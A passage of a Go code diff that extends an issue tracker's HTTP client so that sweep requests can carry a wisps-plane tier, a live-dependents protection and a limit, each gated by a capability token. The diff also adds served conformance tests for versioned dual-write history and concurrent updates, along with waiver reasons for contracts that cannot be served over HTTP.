*storage.ErrUnsupported naming the token + // (not an encoder refusal, so not *InexpressibleError). _, err = sweeper.Sweep(ctx, issueops.SweepRequest{Tier: "ephemeral", Limit: 5}) - assertUnsupported(t, err, "Sweeper.Sweep") + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Backend != Backend { + t.Fatalf("got %v, want *storage.ErrUnsupported for this backend", err) + } + if unsup.Capability != wire.CapSweepLimit { + t.Errorf("the refusal names capability %q, want %q", unsup.Capability, wire.CapSweepLimit) + } if len(w.dispatched) != 0 { t.Errorf("a refused sweep dialed %v", w.dispatched) } diff --git a/internal/httpclient/served_bulk_test.go b/internal/httpclient/served_bulk_test.go index 6a02fed37..03bfb4870 100644 --- a/internal/httpclient/served_bulk_test.go +++ b/internal/httpclient/served_bulk_test.go @@ -64,6 +64,17 @@ func newServedSweeperFixture(t *testing.T, prefix string) conformance.SweeperFix // served store reaches the shape through the embedded database behind // the server and then exercises the sweep over the wire as usual. Exec: env.exec, + AddDependencies: func(ctx context.Context, req issueops.AddDependenciesRequest) error { + // Through the DependencyEditor ROLE, which routes each edge to its + // source plane's dependency table itself — the same seam + // dolt/uow/embeddeddolt's own sweeper fixtures use. + editor, err := env.subject.DependencyEditor() + if err != nil { + return err + } + _, err = editor.AddDependencies(ctx, req) + return err + }, } } @@ -119,6 +130,36 @@ func TestServedSweeperDoesNotMutateTheCallerRequest(t *testing.T) { conformance.RunSweeperDoesNotMutateTheCallerRequest(t, t.Context(), newServedSweeperFixture(t, "hs10")) } +// The S4 wire extension: tier: "wisps-plane", ProtectLiveDependents and Limit +// all now have a round trip (internal/httpapi/sweep.go, internal/httpclient/ +// sweeper.go), each behind its own capability token the served harness's +// in-process handshake always advertises, so these six run for real rather +// than parking. + +func TestServedSweeperWispsPlaneClearsTheWholeWispsTable(t *testing.T) { + conformance.RunSweeperWispsPlaneClearsTheWholeWispsTable(t, t.Context(), newServedSweeperFixture(t, "hs13")) +} + +func TestServedSweeperWispsPlaneRequiresAFilter(t *testing.T) { + conformance.RunSweeperWispsPlaneRequiresAFilter(t, t.Context(), newServedSweeperFixture(t, "hs14")) +} + +func TestServedSweeperProtectsLiveDependents(t *testing.T) { + conformance.RunSweeperProtectsLiveDependents(t, t.Context(), newServedSweeperFixture(t, "hs15")) +} + +func TestServedSweeperProtectsTransitiveLiveDependents(t *testing.T) { + conformance.RunSweeperProtectsTransitiveLiveDependents(t, t.Context(), newServedSweeperFixture(t, "hs16")) +} + +func TestServedSweeperProtectsLiveDependentsAcrossPlanes(t *testing.T) { + conformance.RunSweeperProtectsLiveDependentsAcrossPlanes(t, t.Context(), newServedSweeperFixture(t, "hs17")) +} + +func TestServedSweeperLimitTakesTheOldestClosedFirst(t *testing.T) { + conformance.RunSweeperLimitTakesTheOldestClosedFirst(t, t.Context(), newServedSweeperFixture(t, "hs18")) +} + // ── Deleter ───────────────────────────────────────────────────────────────── func newServedDeleterFixture(t *testing.T, prefix string) conformance.DeleterFixture { diff --git a/internal/httpclient/served_claim_lifecycle_test.go b/internal/httpclient/served_claim_lifecycle_test.go index 79e2c8ded..77a995752 100644 --- a/internal/httpclient/served_claim_lifecycle_test.go +++ b/internal/httpclient/served_claim_lifecycle_test.go @@ -431,6 +431,33 @@ func TestServedLifecycleUpdatePreservesTheCreationStamp(t *testing.T) { conformance.RunLifecycleUpdatePreservesTheCreationStamp(t, t.Context(), newServedUpdateFixture(t, "hlcs")) } +// Two of the four ExpectedVersion concurrency races, run for real over this +// wire: N goroutines dial N concurrent HTTP requests against the same +// in-process server, racing the same --if-revision token. +// precondition_failed decodes to storage.ErrVersionMismatch +// (internal/httpclient/wire/problem.go), the same sentinel +// storage.ErrVersionMismatch aliases to (internal/storage/storage.go), so +// errors.Is resolves identically whether the loser learned it locally or over +// http. +// +// The other two of the four race IssuePatch.SpecID/.AwaitID/.Owner updates +// against each other (RunLifecycleUpdateExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency, +// RunLifecycleUpdateExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency), +// and stay off this leg: those three fields are refused on updateIssue by +// name (W-IssuePatch.SpecID, W-IssuePatch.AwaitID, W-IssuePatch.Owner, +// internal/httpclient/encode/ledger.go), a pre-existing D8 refuse-not-drop +// decision this slice does not reopen, not a race outcome the wire could +// report correctly — see issuePatchFieldsNotOnUpdateWireWaiverReason +// (internal/storage/leg_contract_wiring_test.go). + +func TestServedLifecycleUpdateExpectedVersionSingleWinnerUnderConcurrency(t *testing.T) { + conformance.RunLifecycleUpdateExpectedVersionSingleWinnerUnderConcurrency(t, t.Context(), newServedUpdateFixture(t, "hlvu")) +} + +func TestServedLifecycleCloseExpectedVersionSingleWinnerUnderConcurrency(t *testing.T) { + conformance.RunLifecycleCloseExpectedVersionSingleWinnerUnderConcurrency(t, t.Context(), newServedUpdateFixture(t, "hlvc")) +} + // The THREE claim-and-override cases below RUN, and left the park population // together, with the #7247 review port: `claim`, `force_assignee_transfer` and // `force_close_policy` are top-level members of updateIssue's body (the first diff --git a/internal/httpclient/served_dualwrite_history_test.go b/internal/httpclient/served_dualwrite_history_test.go new file mode 100644 index 000000000..a6d7acf58 --- /dev/null +++ b/internal/httpclient/served_dualwrite_history_test.go @@ -0,0 +1,147 @@ +//go:build cgo + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The DualWriteFixture contracts, run through client → in-process bd serve → +// reference store, the same shape as the other served fixtures in this +// package. +// +// Mutate and MutateAsNoOp are bound to the CLIENT'S Lifecycle role (Create and +// Update over the wire), not to the reference store: the contract is a claim +// about what a client-driven mutation causes the SERVER to record, and a +// fixture that seeded through the reference store would only prove the +// storage engine versions its own direct writes, which the dolt/embeddeddolt/ +// uow legs already cover. CurrentRevision, VersionRowCount and +// LatestVersionAttribution read the REFERENCE store's raw columns, the same +// as every other served fixture's postcondition hooks (served_issue_operations_test.go's +// doc comment states the rule this follows: a postcondition reads the row +// directly, never through a role, so a column the read side does not project +// still gets checked). +// +// Each fixture gets its OWN env (newServedEnv), never the shared +// composition: storage.VersionedHistoryConfigurer is a knob on the reference +// store instance the server's roles are bound to, and flipping it on a store +// any other test shares would start minting issue_versions rows underneath +// cases that never asked for them. + +func newServedDualWriteFixture(t *testing.T, prefix string, enabled bool) conformance.DualWriteFixture { + t.Helper() + env := newServedEnv(t, prefix) + configurer, ok := any(env.reference).(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("%T does not implement storage.VersionedHistoryConfigurer", env.reference) + } + configurer.SetVersionedHistoryEnabled(enabled) + + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + return conformance.DualWriteFixture{ + IssuePrefix: env.prefix, + Mutate: func(ctx context.Context, id string) error { + _, err := lifecycle.Create(ctx, issueops.CreateRequest{ + Actor: "writer", + ForceIDPrefix: true, + Issue: &types.Issue{ + ID: id, Title: "t-" + id, Status: types.StatusOpen, + Priority: 1, IssueType: types.TypeTask, + }, + }) + return err + }, + // Re-sets Title to the exact value Mutate already gave it, so + // issueops.DiscardNoopIssueUpdates discards it before it ever reaches + // RecordVersionInTx — the same shape the uow leg's own + // newUOWDualWriteFixture uses for the identical reason. + MutateAsNoOp: func(ctx context.Context, id string) error { + _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", + IssueID: id, + Patch: issueops.IssuePatch{Title: set("t-" + id)}, + }) + return err + }, + CurrentRevision: func(ctx context.Context, id string) (int64, error) { + var revision int64 + err := env.queryScalar(ctx, "SELECT current_revision FROM issues WHERE id = ?", []any{id}, &revision) + return revision, err + }, + VersionRowCount: func(ctx context.Context, id string) (int, error) { + var count int + err := env.queryScalar(ctx, "SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?", []any{id}, &count) + return count, err + }, + LatestVersionAttribution: func(ctx context.Context, id string) (actor, agent, message string, err error) { + err = env.queryScalar(ctx, ` + SELECT COALESCE(change_actor, ''), COALESCE(change_agent, ''), COALESCE(change_message, '') + FROM issue_versions + WHERE issue_id = ? + ORDER BY revision DESC + LIMIT 1`, []any{id}, &actor, &agent, &message) + return actor, agent, message, err + }, + } +} + +func TestServedDualWriteContract(t *testing.T) { + ctx := t.Context() + fixture := newServedDualWriteFixture(t, "hdw", true) + + t.Run("MintsOneVersionRowPerAcceptedMutation", func(t *testing.T) { + conformance.RunDualWriteMintsOneVersionRowPerAcceptedMutation(t, ctx, fixture) + }) + t.Run("NoOpMutationMintsNoRow", func(t *testing.T) { + conformance.RunDualWriteNoOpMutationMintsNoRow(t, ctx, fixture) + }) + t.Run("AttributionIsRecordedWithTheMutation", func(t *testing.T) { + conformance.RunDualWriteAttributionIsRecordedWithTheMutation(t, ctx, fixture) + + // The shared contract above only asserts change_actor is non-empty, + // since each leg's Mutate closure supplies a different literal. This + // fixture's Mutate always sends Actor: "writer" (see + // newServedDualWriteFixture below), so the http leg can assert the + // exact value rather than merely "something was recorded". + id := fixture.IssuePrefix + "-attribution-exact" + if err := fixture.Mutate(ctx, id); err != nil { + t.Fatalf("mutating %s: %v", id, err) + } + actor, _, _, err := fixture.LatestVersionAttribution(ctx, id) + if err != nil { + t.Fatalf("reading attribution for %s: %v", id, err) + } + if actor != "writer" { + t.Errorf("change_actor = %q, want exactly %q: this fixture's Mutate always sends Actor: %q", actor, "writer", "writer") + } + }) + t.Run("CurrentRevisionMatchesTheNewVersionRow", func(t *testing.T) { + conformance.RunDualWriteCurrentRevisionMatchesTheNewVersionRow(t, ctx, fixture) + }) + t.Run("NoOpMutationLeavesThePriorVersionRowUnperturbed", func(t *testing.T) { + conformance.RunDualWriteNoOpMutationLeavesThePriorVersionRowUnperturbed(t, ctx, fixture) + }) +} + +// TestServedDualWriteContractFlagOff runs FR-7 against an env whose reference +// store has the flag OFF from the start — its own env, not the one above, so +// "flag off" means what FR-7 promises rather than "not yet turned on this +// session". +func TestServedDualWriteContractFlagOff(t *testing.T) { + ctx := t.Context() + fixture := newServedDualWriteFixture(t, "hdwoff", false) + + t.Run("FlagOffProducesNoVersionRows", func(t *testing.T) { + conformance.RunDualWriteFlagOffProducesNoVersionRows(t, ctx, fixture) + }) +} diff --git a/internal/httpclient/sweeper.go b/internal/httpclient/sweeper.go index d4ab51999..28b0e9785 100644 --- a/internal/httpclient/sweeper.go +++ b/internal/httpclient/sweeper.go @@ -4,25 +4,28 @@ package httpclient import ( "context" + "slices" "strings" "github.com/steveyegge/beads/internal/httpapi/apigen" - "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" "github.com/steveyegge/beads/issueops" ) // httpSweeper serves issueops.Sweeper from the sweepIssues custom method // (design D8 row 12) — the capability behind `bd purge` and `bd prune`. // -// The mapping is NOT total, unlike bd-enterprise's: OSS's apigen.SweepRequest -// publishes tier, closed_before, pattern, protect_referenced, dry_run and -// actor, with no member for ProtectLiveDependents or Limit, and -// apigen.SweepResult carries no remaining member for SweepResult.Remaining to -// decode out of. Both refuse before the dial (W-SweepRequest.ProtectLiveDependents, -// W-SweepRequest.Limit) rather than silently running an unprotected or -// unbounded sweep, so SweepResult.Remaining is always zero from this client — -// never a dropped count, since a Limit refuses before anything could be left -// over to report. +// S4 closed three gaps this client had against the local Sweeper role: the +// wire now carries `tier: "wisps-plane"`, `protect_live_dependents` and +// `limit` on the +// request, and `skipped.live_dependent`/`remaining` on the response — each +// behind its own behavior-capability token (CapSweepWispsPlane, +// CapSweepLiveDependents, CapSweepLimit), since each is a parameter added to +// an operation that already shipped. refuseUnservedSweep checks all three +// before the dial, exactly as counter.go's refuseUnservedScope does for +// Count's scope fields: a caller asking for something an older server +// predates learns that LOCALLY, never after a round trip that would 400 +// anyway, and never by way of a silently unprotected or unbounded sweep. // // WHAT IS NOT DECIDED HERE, deliberately: the require-a-filter gate, the glob's // well-formedness and the tier's own predicate. All three are the ROLE's, they @@ -54,28 +57,30 @@ var _ issueops.Sweeper = (*httpSweeper)(nil) // is the same failure class refuse-not-drop exists to stop, in the other // direction. func (s *httpSweeper) Sweep(ctx context.Context, req issueops.SweepRequest) (result issueops.SweepResult, err error) { - // Decorates ProtectLiveDependents/Limit's bare *encode.RefusedError into the - // same *InexpressibleError shape a read refusal gets, so errors.As(err, - // &unsupported) reaches *storage.ErrUnsupported here too (write-side parity, - // see (*Store).inexpressible's doc). A non-refusal error passes through - // unchanged. + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. No + // Sweep path raises one today — refuseUnservedSweep's capability errors + // pass through unchanged — so this is the write-role convention's single + // defer, kept so the next refuse() here is decorated without a new one. defer func() { err = s.store.inexpressible("Sweeper.Sweep", err) }() - // Refuse-not-drop on the two members this wire has no place for. Both - // checks run before the tier is even validated, for the same reason every - // other raw refusal here precedes the dial: a caller who asked for a - // protection or a bound this client cannot honor must not learn that only - // after an unprotected or unbounded sweep already ran. - if req.ProtectLiveDependents { - return issueops.SweepResult{}, refuse(encode.OpSweepIssues, "W-SweepRequest.ProtectLiveDependents") - } - if req.Limit != 0 { - return issueops.SweepResult{}, refuse(encode.OpSweepIssues, "W-SweepRequest.Limit") - } - tier := apigen.SweepRequestTier(req.Tier) if !tier.Valid() { - return issueops.SweepResult{}, invalid("sweep tier %q is not %q or %q", - string(req.Tier), apigen.Ephemeral, apigen.Durable) + return issueops.SweepResult{}, invalid("sweep tier %q is not %q, %q, or %q", + string(req.Tier), apigen.Ephemeral, apigen.Durable, apigen.WispsPlane) + } + + // refuseUnservedSweep is the pre-dial half of the three Sweep behavior + // tokens (routes.go, beside CapIssuesSweepWispsPlane): a request naming + // the wisps-plane tier, or setting ProtectLiveDependents or Limit, asks + // for something only a server advertising the matching token answers, and + // an older server predating it answers with a guaranteed 400 + // invalid_value/unknown_parameter. Checked BEFORE the dial so a caller + // never pays for a round trip that 400s anyway, and never silently gets an + // unprotected or unbounded sweep from a server too old to honor the + // request as asked. + if err := s.refuseUnservedSweep(ctx, tier, req); err != nil { + return issueops.SweepResult{}, err } body := apigen.SweepRequest{ @@ -101,6 +106,13 @@ func (s *httpSweeper) Sweep(ctx context.Context, req issueops.SweepRequest) (res cutoff := *req.ClosedBefore body.ClosedBefore = &cutoff } + if req.ProtectLiveDependents { + body.ProtectLiveDependents = &req.ProtectLiveDependents + } + if req.Limit != 0 { + limit := int64(req.Limit) + body.Limit = &limit + } res, err := s.wire.SweepIssues(ctx, body) if err != nil { @@ -109,6 +121,32 @@ func (s *httpSweeper) Sweep(ctx context.Context, req issueops.SweepRequest) (res return sweepResult(res), nil } +// refuseUnservedSweep checks each of the three S4 additions against the +// handshake snapshot, independently — a caller may ask for any subset of +// them, and an older server may serve none, some, or (not yet, but +// structurally possible) only some of the three. A request using none of +// them never consults the snapshot at all, the same short-circuit +// refuseUnservedScope uses for Count. +func (s *httpSweeper) refuseUnservedSweep(ctx context.Context, tier apigen.SweepRequestTier, req issueops.SweepRequest) error { + if tier != apigen.WispsPlane && !req.ProtectLiveDependents && req.Limit == 0 { + return nil + } + snap, err := s.store.snapshot(ctx) + if err != nil { + return err + } + if tier == apigen.WispsPlane && !slices.Contains(snap.Capabilities, wire.CapSweepWispsPlane) { + return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepWispsPlane) + } + if req.ProtectLiveDependents && !slices.Contains(snap.Capabilities, wire.CapSweepLiveDependents) { + return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepLiveDependents) + } + if req.Limit != 0 && !slices.Contains(snap.Capabilities, wire.CapSweepLimit) { + return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepLimit) + } + return nil +} + // sweepResult projects the wire's answer onto the role's. // // It is a field list rather than a cast because SweepResult is deliberately not @@ -132,6 +170,12 @@ func sweepResult(res *apigen.SweepResult) issueops.SweepResult { Unreadable: res.Skipped.Unreadable, }, } + if res.Skipped.LiveDependent != nil { + out.Skipped.LiveDependent = *res.Skipped.LiveDependent + } + if res.Remaining != nil { + out.Remaining = int(*res.Remaining) + } if res.ReferencedIds != nil { out.ReferencedIDs = append([]string(nil), *res.ReferencedIds...) } diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index 5e9425ede..13b10b586 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -161,6 +161,40 @@ const CapCountScope = "issues.count.scope" // token gates. const CapBatchApplyLarge = "issues.batchApplyLarge" +// CapSweepWispsPlane is the behavior capability announcing that sweepIssues +// accepts `tier: "wisps-plane"` — a third tier, wider than ephemeral or +// durable, that clears the whole wisps table plus any durable bead with no +// history row — spelled exactly as httpapi's constant of the same name (held +// to it by TestTheProjectIdentityVocabularyMatchesTheServer). sweeper.go's +// tier mapping checks this token before mapping issueops.SweepWispsPlane onto +// the wire, refusing locally with a typed capability error rather than +// dialing a server that would answer the value with invalid_value. See +// W-SweepRequest.ProtectLiveDependents and W-SweepRequest.Limit (encode/ +// ledger.go) for the sibling S4 members retired the same way; the tier value +// itself carries no ledger row because it widens an existing enum rather +// than adding a request member. +const CapSweepWispsPlane = "issues.sweep.wispsPlane" + +// CapSweepLiveDependents is the behavior capability announcing that +// sweepIssues honors SweepRequest.protect_live_dependents and answers +// SweepSkips.live_dependent, spelled exactly as httpapi's constant of the +// same name (held to it by TestTheProjectIdentityVocabularyMatchesTheServer). +// sweeper.go reads this token before sending the field, refusing locally with +// a typed capability error rather than silently dropping the protection +// against an older server. encode/ledger.go's W-SweepRequest.ProtectLiveDependents +// row records the S4 closure of what used to be a permanent refusal. +const CapSweepLiveDependents = "issues.sweep.liveDependents" + +// CapSweepLimit is the behavior capability announcing that sweepIssues honors +// SweepRequest.limit and answers SweepResult.remaining, spelled exactly as +// httpapi's constant of the same name (held to it by +// TestTheProjectIdentityVocabularyMatchesTheServer). sweeper.go reads this +// token before sending the field, refusing locally with a typed capability +// error rather than silently running an unbounded sweep against an older +// server. encode/ledger.go's W-SweepRequest.Limit row records the S4 closure +// of what used to be a permanent refusal. +const CapSweepLimit = "issues.sweep.limit" + // CapExternalDependencies is the CONDITIONAL behavior capability announcing // that the ready, claim and close operations of this server apply bd's // external-dependency policy themselves, spelled exactly as httpapi's constant @@ -193,7 +227,16 @@ const CapExternalDependencies = "policy.external_dependencies" // (problem.go's WireRevisionUnsupportedError) instead of answering with a // shape this build was never compiled to read. It doubles as the upper bound // of the handshake gate below: nothing compiled against revision 2 can -// promise to decode revision 3. +// promise to decode a FUTURE, non-additive revision 3. +// +// S4 added SweepRequest.protect_live_dependents, SweepRequest.limit and a +// wisps-plane SweepRequest.tier value, none of which bumped +// CurrentWireRevision (internal/httpapi/wireshape's drift gate tracks a +// request-only member's enum widening as additive, not a wire break — see +// that package's Sides/widensAdditively), so this constant stays 2 too: a +// revision-2 client (this one, and the S2 client already on main) must keep +// talking to a revision-2 server rather than refusing it over a bump nothing +// here required. const ClientWireRevision = 2 // ClientMinWireRevision is the oldest SERVER-reported wire_revision this @@ -289,7 +332,10 @@ func (e *WireRevisionSkewError) Unwrap() error { return ErrWireRevisionSkew } // union(opCapability tokens, this) set-equal with httpapi.Capabilities(), which is // what makes the server change and this client change land together: the parity // test goes red the moment one ships without the other. -var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope} +var behaviorCapabilities = []string{ + CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope, + CapSweepWispsPlane, CapSweepLiveDependents, CapSweepLimit, +} // CapabilityFor reports the capability token gating op, and whether op is on // this client's map at all. An operation with no token — liveness, the diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index 4db0f3813..1bee3f45c 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -149,6 +149,15 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { if CapBatchApplyLarge != httpapi.CapBatchApplyLarge { t.Errorf("CapBatchApplyLarge = %q, server says %q", CapBatchApplyLarge, httpapi.CapBatchApplyLarge) } + if CapSweepWispsPlane != httpapi.CapIssuesSweepWispsPlane { + t.Errorf("CapSweepWispsPlane = %q, server says %q", CapSweepWispsPlane, httpapi.CapIssuesSweepWispsPlane) + } + if CapSweepLiveDependents != httpapi.CapIssuesSweepLiveDependents { + t.Errorf("CapSweepLiveDependents = %q, server says %q", CapSweepLiveDependents, httpapi.CapIssuesSweepLiveDependents) + } + if CapSweepLimit != httpapi.CapIssuesSweepLimit { + t.Errorf("CapSweepLimit = %q, server says %q", CapSweepLimit, httpapi.CapIssuesSweepLimit) + } if ReasonProjectMismatch != string(httpapi.ReasonProjectMismatch) { t.Errorf("ReasonProjectMismatch = %q, server says %q", ReasonProjectMismatch, httpapi.ReasonProjectMismatch) } @@ -183,8 +192,12 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { // literal is spelled out member by member rather than compared against the // server's own slice: a mirror checked against the thing it mirrors passes // however both of them move. - if !slices.Equal(behaviorCapabilities, []string{httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope}) { - t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort and issues.count.scope tokens", behaviorCapabilities) + if !slices.Equal(behaviorCapabilities, []string{ + httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope, + httpapi.CapIssuesSweepWispsPlane, httpapi.CapIssuesSweepLiveDependents, httpapi.CapIssuesSweepLimit, + }) { + t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort, "+ + "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents and issues.sweep.limit tokens", behaviorCapabilities) } } diff --git a/internal/httpclient/write_ledger_test.go b/internal/httpclient/write_ledger_test.go index cac9105ad..29967f9c0 100644 --- a/internal/httpclient/write_ledger_test.go +++ b/internal/httpclient/write_ledger_test.go @@ -373,21 +373,23 @@ func writeShapes() []writeShape { }, }, { - // NOT total, unlike bd-enterprise's: OSS's apigen.SweepRequest has - // no member for ProtectLiveDependents or Limit, so both are absent - // from carried below and the source -> wire arm obliges the two - // W-SweepRequest rows (W-SweepRequest.ProtectLiveDependents, - // W-SweepRequest.Limit) rather than a member. + // S4 extended the sweep carriage: apigen.SweepRequest now + // publishes protect_live_dependents and limit too, each carried + // by the role field of the same name (behind + // CapSweepLiveDependents and CapSweepLimit respectively — + // see sweeper.go's refuseUnservedSweep). name: "sweepIssues", source: reflect.TypeOf(issueops.SweepRequest{}), body: reflect.TypeOf(apigen.SweepRequest{}), carried: map[string]carriage{ - "Actor": member("actor"), - "Tier": member("tier"), - "ClosedBefore": member("closed_before"), - "IDPattern": member("pattern"), - "ProtectReferenced": member("protect_referenced"), - "DryRun": member("dry_run"), + "Actor": member("actor"), + "Tier": member("tier"), + "ClosedBefore": member("closed_before"), + "IDPattern": member("pattern"), + "ProtectReferenced": member("protect_referenced"), + "DryRun": member("dry_run"), + "ProtectLiveDependents": member("protect_live_dependents"), + "Limit": member("limit"), }, }, { diff --git a/internal/storage/contract_leg_registry_test.go b/internal/storage/contract_leg_registry_test.go index 8bd0d99d8..ab6a4a523 100644 --- a/internal/storage/contract_leg_registry_test.go +++ b/internal/storage/contract_leg_registry_test.go @@ -50,25 +50,9 @@ func init() { registerContractLeg(contractLeg{name: "embeddeddolt", wiringRoot: "internal/storage/embeddeddolt"}) registerContractLeg(contractLeg{name: "uow", wiringRoot: "internal/storage/uow"}) registerContractLeg(contractLeg{ - name: "http", - wiringRoot: "internal/httpclient", - adopting: "S3 wires every read role (IssueReader, Counter, ReadyCounter, GraphCounter, EdgeReader, " + - "Relations, BlockingAnnotator, TreeWalker, CycleDetector, Querier, StatsReporter, WorkspaceConfig, " + - "Memories, Journal minus watch) plus MetadataCAS and DependencyEditor in full; the HTTP leg's own " + - "CycleDetector.IncludeTracks gap, the nine Bootstrapper cases " + - "(internal/httpclient/accessors.go names Bootstrapper PERMANENTLY UNSERVABLE — no wire operation " + - "and none coming — see bootstrapperPermanentlyUnservableWaiverReason), the four Importer cases " + - "(uow is Importer's one accessor, same as the other two legs), and the twenty-two " + - "RetentionFixture/EpochFixture/CrossRecordInvariantFixture cases (raw storage bookkeeping with no " + - "publicops role behind them — see retentionEpochNoRoleWaiverReason and " + - "crossRecordInvariantNoRoleWaiverReason) are all named waivers, not part of this ceiling. What is " + - "still counted here is write-role and internal-plumbing work S4 and later slices wire and ratchet " + - "down one tranche at a time: lifecycle writes (IssueOperationsUpdate, LifecycleUpdate), " + - "DualWrite's Phase-2 history mechanism, Sweeper, VersionReconciler, InitVerifier, and " + - "ExpectedRevision/Refusal. VersionReconciler and InitVerifier are named PERMANENTLY UNSERVABLE by " + - "the same accessors.go comment that covers Bootstrapper, but moving them to a named waiver is out " + - "of scope for the change that lowered this ceiling to 42 and is left for their own reviewed change", - adoptionCeiling: 42, + name: "http", + wiringRoot: "internal/httpclient", + adoptionCeiling: 0, }) } diff --git a/internal/storage/leg_contract_wiring_test.go b/internal/storage/leg_contract_wiring_test.go index 398e6b19f..515ac2401 100644 --- a/internal/storage/leg_contract_wiring_test.go +++ b/internal/storage/leg_contract_wiring_test.go @@ -99,6 +99,27 @@ func init() { "RunMaximumEndpointMultiplicityIsAStoreInvariantNotACAS": crossRecordInvariantNoRoleWaiverReason, "RunMemoryKeyAliasUniquenessIsAStoreInvariantNotACAS": crossRecordInvariantNoRoleWaiverReason, "RunStoreInvariantTransactionScopesExactlyTheSpanningRecords": crossRecordInvariantNoRoleWaiverReason, + + "RunVersionReconcilerAdvancesBothMarkersOnAnUpgrade": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerCatchesUpToTheHighWaterMark": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerLeavesTheMarkersStandingWhenItCannotComplete": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerRecordsAWorkspaceWithNoMarkers": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerRecordsNoHistory": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerRefusesADowngradeWithoutAnError": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerRefusesAVersionBelowTheHighWaterMark": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerRefusesAnEmptyVersion": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerTreatsTheSameVersionAsANoOp": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunInitVerifierAnswersEmptyForAnUnidentifiedSubstrate": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunInitVerifierReportsAFailedReadAsAnError": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunInitVerifierReportsAPartialIdentityAsItStands": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunInitVerifierWritesNothing": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + + "RunIssueOperationsUpdateClosedFieldsMatchClose": issueOperationsUpdateRawSeamWaiverReason, + "RunIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes": issueOperationsUpdateRawSeamWaiverReason, + "RunIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress": issueOperationsUpdateRawSeamWaiverReason, + + "RunLifecycleUpdateExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency": issuePatchFieldsNotOnUpdateWireWaiverReason, + "RunLifecycleUpdateExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency": issuePatchFieldsNotOnUpdateWireWaiverReason, }) } @@ -230,6 +251,84 @@ const stagingWaiverReason = "the unit-of-work provider commits every unit of wor "caller-held working set to stage into and no Commit hook to close one; these two cases assert what a " + "create sweeps into a commit the caller opened" +// versionReconcilerInitVerifierPermanentlyUnservableWaiverReason covers the +// thirteen VersionReconciler and InitVerifier contracts: PERMANENTLY +// unservable over http, not merely unwired yet. +// +// internal/httpclient/accessors.go names VersionReconciler and InitVerifier, +// alongside Bootstrapper, as the three accessors still on the generated +// refusing shell for one reason: "PERMANENTLY UNSERVABLE — no wire operation +// and none coming." Both share Bootstrapper's own fate and (InitVerifier +// shares BootstrapperFixture outright) the same cause: `bd init`'s substrate +// identification and the schema-version reconciliation it drives both run +// entirely client-side, against the on-disk substrate a server-mediated +// caller never touches directly, before or instead of any server existing to +// dial. There is no v0 operation for an http accessor to bind to and none is +// coming. This waiver was left out of the change that added +// bootstrapperPermanentlyUnservableWaiverReason (that change's own comment +// says so) and is added by this one. +const versionReconcilerInitVerifierPermanentlyUnservableWaiverReason = "internal/httpclient/accessors.go names " + + "VersionReconciler and InitVerifier PERMANENTLY UNSERVABLE over http, the same fate as Bootstrapper — no " + + "wire operation and none coming — because both run entirely client-side against the on-disk substrate " + + "(schema-version reconciliation and `bd init`'s own identity read) before or instead of any server existing " + + "to dial" + +// issueOperationsUpdateRawSeamWaiverReason covers the three +// IssueOperationsStagingFixture cases whose SUBJECT is the untyped UpdateRaw +// funnel itself, not merely a fixture that seeds through it. +// +// storage.UpdateIssue is on this client's unsupported allowlist by design +// (D8: re-routing a raw front door would put a second spelling of the edit +// beside the role's), so served_issue_operations_test.go binds UpdateRaw only +// 